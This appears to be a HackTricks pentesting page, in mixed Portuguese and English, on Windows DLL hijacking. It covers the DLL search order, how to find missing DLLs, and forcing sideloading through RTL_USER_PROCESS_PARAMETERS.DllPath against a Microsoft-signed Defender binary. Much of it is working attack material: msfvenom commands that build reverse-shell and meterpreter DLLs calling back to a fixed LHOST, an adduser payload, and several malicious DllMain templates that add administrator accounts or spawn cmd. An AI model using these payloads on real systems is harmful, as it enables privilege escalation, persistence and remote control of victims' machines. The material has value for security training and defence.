17 KiB
Dll Hijacking
{{#include ../../banners/hacktricks-training.md}}
Informações Básicas
DLL Hijacking envolve manipular um aplicativo confiável para carregar um DLL malicioso. Este termo abrange várias táticas como DLL Spoofing, Injection, and Side-Loading. É usado principalmente para code execution, alcançar persistence e, menos comumente, privilege escalation. Apesar do foco em escalation aqui, o método de hijacking permanece consistente entre os objetivos.
Técnicas Comuns
Vários métodos são empregados para DLL hijacking, cada um com sua eficácia dependendo da estratégia de carregamento de DLL do aplicativo:
- DLL Replacement: Trocar um DLL legítimo por um malicioso, opcionalmente usando DLL Proxying para preservar a funcionalidade do DLL original.
- DLL Search Order Hijacking: Colocar o DLL malicioso em um caminho de busca antes do legítimo, explorando o padrão de busca do aplicativo.
- Phantom DLL Hijacking: Criar um DLL malicioso para que o aplicativo o carregue, achando que se trata de um DLL requerido inexistente.
- DLL Redirection: Modificar parâmetros de busca como
%PATH%
ou arquivos.exe.manifest
/.exe.local
para direcionar o aplicativo para o DLL malicioso. - WinSxS DLL Replacement: Substituir o DLL legítimo por um equivalente malicioso no diretório WinSxS, um método frequentemente associado com DLL side-loading.
- Relative Path DLL Hijacking: Colocar o DLL malicioso em um diretório controlado pelo usuário junto com o aplicativo copiado, assemelhando-se a técnicas de Binary Proxy Execution.
Encontrando Dlls ausentes
A maneira mais comum de encontrar Dlls faltantes em um sistema é executar procmon do sysinternals, configurando os seguintes 2 filtros:
e simplesmente mostrar a File System Activity:
Se você está procurando por missing dlls in general deixe isso rodando por alguns seconds.
Se você está procurando por um missing dll inside an specific executable você deve setar outro filtro como "Process Name" "contains" "<exec name>", executá-lo, e parar a captura de eventos.
Explorando Dlls ausentes
Para escalate privileges, nossa melhor chance é conseguir escrever um dll que um processo privilegiado tentará carregar em algum dos locais onde ele será procurado. Assim, poderemos escrever um dll em uma pasta onde o dll é pesquisado antes da pasta onde o dll original está (caso estranho), ou poderemos escrever em alguma pasta onde o dll será procurado e o dll original não existe em nenhuma pasta.
Dll Search Order
Inside the Microsoft documentation you can find how the Dlls are loaded specifically.
Aplicações Windows procuram DLLs seguindo um conjunto de caminhos de busca predefinidos, obedecendo a uma sequência particular. O problema de DLL hijacking surge quando um DLL malicioso é colocado estrategicamente em um desses diretórios, garantindo que seja carregado antes do DLL autêntico. Uma solução para prevenir isso é garantir que o aplicativo use caminhos absolutos ao referenciar os DLLs que necessita.
Você pode ver a DLL search order on 32-bit systems abaixo:
- The directory from which the application loaded.
- The system directory. Use the GetSystemDirectory function to get the path of this directory.(C:\Windows\System32)
- The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (C:\Windows\System)
- The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- (C:\Windows)
- The current directory.
- The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.
Essa é a ordem de busca padrão com o SafeDllSearchMode habilitado. Quando está desabilitado, o diretório atual sobe para a segunda posição. Para desativar esse recurso, crie o valor de registro HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode e defina-o como 0 (o padrão é habilitado).
If LoadLibraryEx function is called with LOAD_WITH_ALTERED_SEARCH_PATH the search begins in the directory of the executable module that LoadLibraryEx is loading.
Finalmente, note que um dll pode ser carregado indicando o caminho absoluto em vez de apenas o nome. Nesse caso esse dll será buscado somente nesse caminho (se o dll tiver dependências, elas serão buscadas como carregadas apenas pelo nome).
Existem outras maneiras de alterar a ordem de busca, mas não vou explicá-las aqui.
Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.
Key idea
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
Notes/limitations
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
Minimal C example (ntdll, wide strings, simplified error handling):
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
Exemplo de uso operacional
- Coloque um xmllite.dll malicioso (exportando as funções necessárias ou proxyando para o real) no seu diretório DllPath.
- Inicialize um signed binary conhecido por procurar xmllite.dll pelo nome usando a técnica acima. O loader resolve a importação via o DllPath fornecido e sideloads sua DLL.
Essa técnica foi observada in-the-wild para conduzir cadeias de multi-stage sideloading: um launcher inicial deixa uma DLL auxiliar, que então instancia um binário assinado pela Microsoft, hijackable, com um DllPath customizado para forçar o carregamento da DLL do atacante a partir de um diretório de staging.
Exceções na ordem de busca de dll segundo a documentação do Windows
Certas exceções à ordem padrão de busca de DLL são observadas na documentação do Windows:
- Quando uma DLL que compartilha seu nome com uma já carregada na memória é encontrada, o sistema contorna a busca usual. Em vez disso, ele realiza uma verificação por redirecionamento e um manifesto antes de recorrer à DLL já presente na memória. Nesse cenário, o sistema não realiza uma busca pela DLL.
- Nos casos em que a DLL é reconhecida como uma Known DLL para a versão atual do Windows, o sistema utilizará sua versão da known DLL, juntamente com quaisquer DLLs dependentes, abrindo mão do processo de busca. A chave de registro HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs contém a lista dessas known DLLs.
- Caso uma DLL possua dependências, a busca por essas DLLs dependentes é conduzida como se elas fossem indicadas apenas pelos seus nomes de módulo, independentemente de a DLL inicial ter sido identificada por um caminho completo.
Escalada de privilégios
Requisitos:
- Identificar um processo que opera ou operará sob privilégios diferentes (movimentação horizontal ou lateral), que esteja faltando uma DLL.
- Garantir que haja acesso de escrita em qualquer diretório no qual a DLL será procurada. Esse local pode ser o diretório do executável ou um diretório dentro do system path.
Sim, os requisitos são complicados de encontrar pois por padrão é meio estranho encontrar um executável privilegiado sem uma dll e é ainda mais estranho ter permissões de escrita em uma pasta do system path (você não tem por padrão). Mas, em ambientes mal configurados isso é possível.
Caso você tenha sorte e encontre os requisitos cumpridos, você pode checar o projeto UACME. Mesmo que o objetivo principal do projeto seja bypass UAC, você pode encontrar lá um PoC de um Dll hijaking para a versão do Windows que você pode usar (provavelmente apenas mudando o caminho da pasta onde você tem permissões de escrita).
Note que você pode check your permissions in a folder doing:
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
E verifique as permissões de todas as pastas dentro do PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Você também pode verificar os imports de um executable e os exports de uma dll com:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
Para um guia completo sobre como abusar Dll Hijacking para escalar privilégios com permissões para escrever em uma System Path folder consulte:
{{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}}
Ferramentas automatizadas
Winpeas verificará se você tem permissões de escrita em qualquer pasta dentro do system PATH.
Outras ferramentas automatizadas interessantes para descobrir essa vulnerabilidade são as PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack e Write-HijackDll.
Exemplo
Caso encontre um cenário explorável, uma das coisas mais importantes para explorá-lo com sucesso é criar uma dll que exporte pelo menos todas as funções que o executável irá importar dela. De qualquer forma, note que Dll Hijacking é útil para escalate from Medium Integrity level to High (bypassing UAC) ou de High Integrity to SYSTEM. Você pode encontrar um exemplo de how to create a valid dll dentro deste estudo sobre dll hijacking focado em dll hijacking para execução: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Além disso, na próxima seção você pode encontrar alguns códigos dll básicos que podem ser úteis como templates ou para criar uma dll que exporte funções não requeridas.
Criando e compilando Dlls
Dll Proxifying
Basicamente um Dll proxy é uma Dll capaz de executar seu código malicioso quando carregada mas também de expor e funcionar como esperado, encaminhando todas as chamadas para a biblioteca real.
Com a ferramenta DLLirant ou Spartacus você pode de fato indicar um executável e selecionar a biblioteca que deseja proxificar e gerar uma dll proxificada ou indicar a Dll e gerar uma dll proxificada.
Meterpreter
Get rev shell (x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Obter um meterpreter (x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Criar um usuário (x86 — não vi uma versão x64):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
Seu próprio
Observe que, em vários casos, a Dll que você compila deve export several functions que serão carregadas pelo victim process; se essas funções não existirem, binary won't be able to load elas e exploit will fail.
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
Referências
-
https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
-
https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
-
Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe
{{#include ../../banners/hacktricks-training.md}}